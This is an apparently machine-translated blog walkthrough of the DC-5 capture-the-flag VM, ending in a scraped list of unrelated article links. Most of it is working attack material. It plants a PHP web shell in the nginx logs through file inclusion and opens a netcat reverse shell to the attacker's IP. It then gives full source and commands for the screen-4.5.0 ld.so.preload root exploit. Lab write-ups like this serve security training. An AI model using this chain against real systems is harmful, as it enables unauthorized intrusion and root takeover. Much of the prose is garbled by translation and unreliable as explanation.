当前位置:网站首页>DC-5 target
DC-5 target
2022-07-04 12:39:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
ifconfig
Find the host IP
Sweep a wave Intranet , Detect the surviving host
nmap 192.168.61.0/24
Use nmap Tool pair DC-5 The target machine scans the open port
nmap -A -T4 192.168.61.133 -p- -oN nmap133.A
( halfway IP Changed to 192.168.61.134)
It's open 80,111,39542
Open the displayed IP Address
stay concat Fill in the information in the interface , Will jump to the page , yes GET The ginseng
Refresh repeatedly and you will find that the time changes , Guess the page has a file containing (?)
And then use burp Blast page ( The imperial sword cannot be swept out )
altogether 7 individual
footer You can see this , Confirm that this is the containing interface
Use BurpSuite The variable name contained in the blasting file , And backstage passwd File exists in
Variable name :file,passwd file location :/etc/passwd
Check the log storage location :
Law 1 :
Use BurpSuite Location of the log file of the bag grabbing blasting target , The blast was successful
/var/log/nginx/error.log
/var/log/nginx/access.log
Law two :
file==/etc/nginx/nginx.conf
<?php system($_GET['test']);?>
Use BurpSuite Modify packet data , Write a word Trojan , Open the log file to see the successful writing
Use a one sentence Trojan horse to execute commands
/var/log/nginx/error.log&test=ls
stay kali monitor
netcat -l -p 4444
file=/var/log/nginx/error.log&test=nc+192.168.61.129+4444+-e+/bin/bash
then
python -c 'import pty;pty.spawn("/bin/sh")'
Search permissions
find / -perm /4000 2>/dev/null
Simply speaking : seek 4000 Permission file , Not displaying other error messages is equivalent to filtering .
screen-4.5.0: Command line terminal switching software , It connects several local or remote command-line conversations at the same time , It can be used as a power raising point
View vulnerabilities
Extract the file
cp /usr/share/exploitdb/exploits/linux/local/41154.sh screen_450.sh
cp /usr/share/exploitdb/exploits/linux/local/41152.sh screen_450.txt
Open file
cat screen_450.txt
cat screen_450.sh
Save the code to /tmp Next
Save as
rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
And then put rootshell.c Translate it into rootshell
gcc -o /tmp/rootshell /tmp/rootshell.c
hold libhax.c Translate it into libhax.so
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
First, libhax.so
In the virtual machine
nc -lvvp 4444 < libhax.so
On the target plane
nc 192.168.61.129 4444 > libhax.so
Then on the host ctrl+c End
And then there was rootshell
In the virtual machine
nc -lvvp 4444 < rootshell
On the target plane
nc 192.168.61.129 4444 > rootshell
Check on the target , You can see the success of the incoming
Then carry out a series of right raising steps
( There are steps in the previous vulnerability information )
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
Then you get root Yes (whoami see )
cd /root
ls
cat thisistheflag.txt
边栏推荐
- Wechat video Number launches "creator traffic package"
- The solution of permission denied
- [Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 12
- Entitas learning [3] multi context system
- 17.内存分区与分页
- 'using an alias column in the where clause in PostgreSQL' - using an alias column in the where clause in PostgreSQL
- [notes] streamingassets
- Snowflake won the 2021 annual database
- JD home programmers delete databases and run away. Talk about binlog, the killer of MySQL data backup
- Review of week 278 of leetcode II
猜你喜欢
Practice of retro SOAP Protocol
Experiment 7. IPv6
[data clustering] section 3 of Chapter 4: DBSCAN performance analysis, advantages and disadvantages, and parameter selection methods
Leetcode: 408 sliding window median
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 7
Hongke case study on storm impact in coastal areas of North Carolina using lidar
VIM, another program may be editing the same file If this is the solution of the case
MPLS experiment
DDS-YYDS
The frost peel off the purple dragon scale, and the xiariba people will talk about database SQL optimization and the principle of indexing (primary / secondary / clustered / non clustered)
随机推荐
17.内存分区与分页
SAP ui5 date type sap ui. model. type. Analysis of the display format of date
C语言函数
03_ Armv8 instruction set introduction load and store instructions
The database connection code determines whether the account password is correct, but the correct account password always jumps to the failure page with wrong account password
Global and Chinese markets of NOx analyzers 2022-2028: Research Report on technology, participants, trends, market size and share
The detailed installation process of Ninja security penetration system (Ninjitsu OS V3). Both old and new VM versions can be installed through personal testing, with download sources
Awk getting started to proficient series - awk quick start
[Yu Yue education] 233 pre school children's language education reference questions in the spring of 2019 of the National Open University
Ml and NLP are still developing rapidly in 2021. Deepmind scientists recently summarized 15 bright research directions in the past year. Come and see which direction is suitable for your new pit
The latest idea activation cracking tutorial, idea permanent activation code, the strongest in history
Star leap plan | new projects are continuously being recruited! MSR Asia MSR Redmond joint research program invites you to apply!
Clion configuration of opencv
C语言数组
Paper notes ACL 2020 improving event detection via open domain trigger knowledge
ArgMiner:一个用于对论点挖掘数据集进行处理、增强、训练和推理的 PyTorch 的包
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 23
Pat 1059 prime factors (25 points) prime table
Iterm tab switching order
13、 C window form technology and basic controls (3)